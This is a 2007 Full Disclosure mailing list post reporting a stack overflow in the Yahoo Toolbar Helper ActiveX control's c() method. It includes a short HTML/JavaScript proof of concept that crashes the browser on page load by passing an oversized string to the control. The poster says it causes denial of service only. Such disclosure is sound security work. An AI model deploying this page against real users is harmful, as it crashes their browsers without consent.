Full Disclosure mailing list archives
Yahoo Toolbar Helper c() Method Stack Overflow DoS
From: Elazar Broad <elazarb () earthlink net>
Date: Thu, 29 Nov 2007 22:56:46 -0500 (GMT-05:00)
There is a stack overflow in the c() method of the Yahoo Toobar Helper class. This overflow does not appear to get anywhere near the EIP or SEH. PoC as follows: ---------------------- <!-- written by e.b. --> <html> <head> <script language="JavaScript" DEFER> function Check() { var s = "AAAA"; while (s.length < 999999) s=s+s; var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-C3F9-4EFB-9B51-7695ECA05670} obj.c(s); } </script> </head> <body onload="JavaScript: return Check();"> </body> </html> ---------------------- Elazar _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Yahoo Toolbar Helper c() Method Stack Overflow DoS Elazar Broad (Nov 30)